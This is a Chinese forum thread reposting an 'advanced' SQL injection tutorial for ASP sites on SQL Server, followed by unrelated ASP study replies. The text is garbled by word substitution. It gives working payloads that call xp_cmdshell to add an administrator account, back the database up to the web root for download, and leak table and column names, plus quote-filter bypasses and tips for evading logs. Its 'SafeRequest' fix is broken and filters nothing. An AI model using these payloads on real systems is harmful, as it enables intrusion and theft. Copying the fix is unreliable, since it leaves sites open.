仓酷云

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 493|回复: 10
打印 上一主题 下一主题

[学习教程] ASP网页设计SQL注进天书之ASP注进毛病全打仗(3)

[复制链接]
海妖 该用户已被删除
跳转到指定楼层
楼主
发表于 2015-1-16 23:13:16 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
源代码保护方面其实现在考虑得没那么多了..NET也可以反编译.ASP写得复杂的话别人能看得懂的话.他也有能力自己写了.这方面担心的倒不太多.纵观现在网上可以下载的那些所谓BBS还有什么网站等等的源代码初级篇

  看完进门篇和进阶篇后,略加实习,破解一样平常的网站是没成绩了。但假如碰着表名列名猜不到,或程序作者过滤了一些特别字符,怎样进步注进的乐成率?怎样进步猜解效力?请人人接着往下看初级篇。

  第一节、使用体系表注进SQLServer数据库

  SQLServer是一个功效壮大的数据库体系,与操纵体系也有严密的接洽,这给开辟者带来了很年夜的便利,但另外一方面,也为注进者供应了一个跳板,我们先来看看几个详细的例子:

  ①http://Site/url.asp?id=1;execmaster..xp_cmdshell“netusernamepassword/add”--

  分号;在SQLServer中暗示离隔前后两句语句,--暗示前面的语句为正文,以是,这句语句在SQLServer中将被分红两句实行,先是Select出ID=1的纪录,然后实行存储历程xp_cmdshell,这个存储历程用于挪用体系命令,因而,用net命令新建了用户名为name、暗码为password的windows的帐号,接着:

  ②http://Site/url.asp?id=1;execmaster..xp_cmdshell“netlocalgroupnameadministrators/add”--

  将新建的帐号name到场办理员组,不必两分钟,你已拿到了体系最高权限!固然,这类办法只合用于用sa毗连数据库的情形,不然,是没有权限挪用xp_cmdshell的。

  ③http://Site/url.asp?id=1;anddb_name()>0

  后面有个相似的例子anduser>0,感化是猎取毗连用户名,db_name()是另外一个体系变量,前往的是毗连的数据库名。

  ④http://Site/url.asp?id=1;backupdatabase数据库名todisk=’c:inetpubwwwroot1.db’;--

  这是相称狠的一招,从③拿到的数据库名,加上某些IIS堕落表露出的相对路径,将数据库备份到Web目次上面,再用HTTP把全部数据库就完完全整的下载返来,一切的办理员及用户暗码都一览无遗!在不晓得相对路径的时分,还能够备份到收集地点的办法(如202.96.xx.xxShare1.db),但乐成率不高。

  ⑤http://Site/url.asp?id=1;and(SelectTop1namefromsysobjectswherextype=’U’andstatus>0)>0

  后面说过,sysobjects是SQLServer的体系表,存储着一切的表名、视图、束缚及别的工具,xtype=’U’andstatus>0,暗示用户创建的表名,下面的语句将第一个表名掏出,与0对照巨细,让报错信息把表名表露出来。第2、第三个表名怎样猎取?仍是留给我们伶俐的读者思索吧。

  ⑥http://Site/url.asp?id=1;and(SelectTop1col_name(object_id(‘表名’),1)fromsysobjects)>0

  从⑤拿到表名后,用object_id(‘表名’)猎取表名对应的外部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就能够逐一猎取所猜解内外面的字段名。

  以上6点是我研讨SQLServer注进半年多以来的血汗结晶,能够看出,对SQLServer的懂得水平,间接影响着乐成率及猜解速率。在我研讨SQLServer注进以后,我在开辟方面的程度也失掉很年夜的进步,呵呵,大概平安与开辟原本就是相反相成的吧。

  第二节、绕历程序限定持续注进

  在进门篇提到,有良多人喜好用’号测试注进毛病,以是也有良多人用过滤’号的办法来“避免”注进毛病,这大概能盖住一些进门者的打击,但对SQL注进对照熟习的人,仍是能够使用相干的函数,到达绕历程序限定的目标。

  在“SQL注进的一样平常步骤”一节中,我所用的语句,都是经由我优化,让其不包括有单引号的;在“使用体系表注进SQLServer数据库”中,有些语句包括有’号,我们举个例子来看看怎样改革这些语句:

  复杂的如wherextype=’U’,字符U对应的ASCII码是85,以是能够用wherextype=char(85)取代;假如字符是中文的,好比wherename=’用户’,能够用wherename=nchar(29992)+nchar(25143)取代。

  第三节、履历小结

  1.有些人会过滤Select、Update、Delete这些关头字,但恰恰健忘辨别巨细写,以是人人能够用selecT如许实验一下。

  2.在猜不到字段名时,无妨看看网站上的登录表单,通常是了便利起见,字段名都与表单的输出框取不异的名字。

  3.出格注重:地点栏的+号传进程序后注释为空格,%2B注释为+号,%25注释为%号,详细能够参考URLEncode的相干先容。

  4.用Get办法注进时,IIS会纪录你一切的提交字符串,对Post办法做则不纪录,以是能用Post的网址只管不必Get。

  5.猜解Access时只能用Ascii逐字解码法,SQLServer也能够用这类办法,只必要二者之间的区分便可,可是假如能用SQLServer的报错信息把值表露出来,那效力和正确率会有极年夜的进步。

  提防办法

  SQL注进毛病可谓是“千里之堤,溃于蚁穴”,这类毛病在网上极其广泛,一般是因为程序员对注进不懂得,大概程序过滤不严厉,大概某个参数健忘反省招致。在这里,我给人人一个函数,取代ASP中的Request函数,能够对统统的SQL注进SayNO,函数以下:

FunctionSafeRequest(ParaName,ParaType)
 ---传进参数---
 ParaName:参数称号-字符型
 ParaType:参数范例-数字型(1暗示以上参数是数字,0暗示以上参数为字符)

 DimParaValue
 ParaValue=Request(ParaName)
 IfParaType=1then
  IfnotisNumeric(ParaValue)then
   Response.write"参数"&ParaName&"必需为数字型!"
   Response.end
  Endif
 Else
  ParaValue=replace(ParaValue,"","")
 Endif
 SafeRequest=ParaValue
Endfunction
  文章到这里就停止了,不论你是平安职员、手艺喜好者仍是程序员,我都但愿本文能对你有所匡助。
</p>由于ASP提供的是一对多的服务,所以用户的一些特殊需求很难得到满足。
精灵巫婆 该用户已被删除
沙发
发表于 2015-1-20 08:19:48 | 只看该作者
先学习用frontpage熟悉html编辑然后学习asp和vbscript建议买书进行系统学习
再现理想 该用户已被删除
板凳
发表于 2015-1-29 06:05:00 | 只看该作者
不是很难但是英文要有一点基础网上的教程很少有系统的详细的去买书吧,另不用专门学习vb关于vbscript脚本在asp教材都有介绍
谁可相欹 该用户已被删除
地板
发表于 2015-1-30 17:33:53 | 只看该作者
哪些内置对象是可以跳过的,或者哪些属性和方法是用不到的?
愤怒的大鸟 该用户已被删除
5#
发表于 2015-2-7 03:08:01 | 只看该作者
下面简单介绍一下我学习ASP的方法,希望对想学习ASP的朋友有所帮助...
山那边是海 该用户已被删除
6#
发表于 2015-2-19 23:52:30 | 只看该作者
不是很难但是英文要有一点基础网上的教程很少有系统的详细的去买书吧,另不用专门学习vb关于vbscript脚本在asp教材都有介绍
变相怪杰 该用户已被删除
7#
发表于 2015-3-6 15:48:59 | 只看该作者
下载一个源代码,然后再下载一个VBScript帮助,在源代码中遇到不认识的函数或是其他什么程序,都可以查帮助进行解决,这样学习效率很高。
透明 该用户已被删除
8#
发表于 2015-3-13 04:07:06 | 只看该作者
我们必须明确一个大方向,不要只是停留在因为学而去学,我们应有方向应有目标.
因胸联盟 该用户已被删除
9#
发表于 2015-3-13 04:07:06 | 只看该作者
下面简单介绍一下我学习ASP的方法,希望对想学习ASP的朋友有所帮助...
金色的骷髅 该用户已被删除
10#
发表于 2015-3-13 04:07:07 | 只看该作者
他的语法和设计思路和VB完全相同,导致很多ASP的书都留一句“相关内容请参考VB的相关教材....”更糟糕的是,相当多的ASP教程混合了Javascript,VBscript等等脚本语言,搞的初学者。
老尸 该用户已被删除
11#
发表于 2015-3-20 11:49:41 | 只看该作者
在平时的学习过程中要注意现学现用,注重运用,在掌握了一定的基础知识后,我们可以尝试做一些网页,也许在开始的时候我们可能会遇到很多问题,比如说如何很好的构建基本框架。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|仓酷云 鄂ICP备14007578号-2

GMT+8, 2024-12-23 05:39

Powered by Discuz! X3.2

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表